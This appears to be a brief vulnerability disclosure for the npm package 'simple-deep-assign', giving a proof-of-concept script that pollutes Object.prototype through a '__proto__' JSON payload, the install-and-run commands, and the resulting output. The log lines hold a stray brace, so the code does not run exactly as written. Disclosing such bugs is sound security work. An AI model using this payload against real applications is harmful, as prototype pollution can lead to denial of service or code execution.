simple-deep-assign
is vulnerable to Prototype Pollution
.
// poc.mjs
import deepAssign from 'simple-deep-assign';
console.log('Before: ', {}.polluted})
deepAssign({}, JSON.parse('{"__proto__": {"polluted": "Prototype Polluted"}}'));
console.log('After: ', {}.polluted})
npm i simple-deep-assign # install vulnerable package
node poc.mjs # run the PoC
Before: undefined
After: Prototype Polluted
Prototype Pollution
leads to Information Disclosure/DoS/RCE.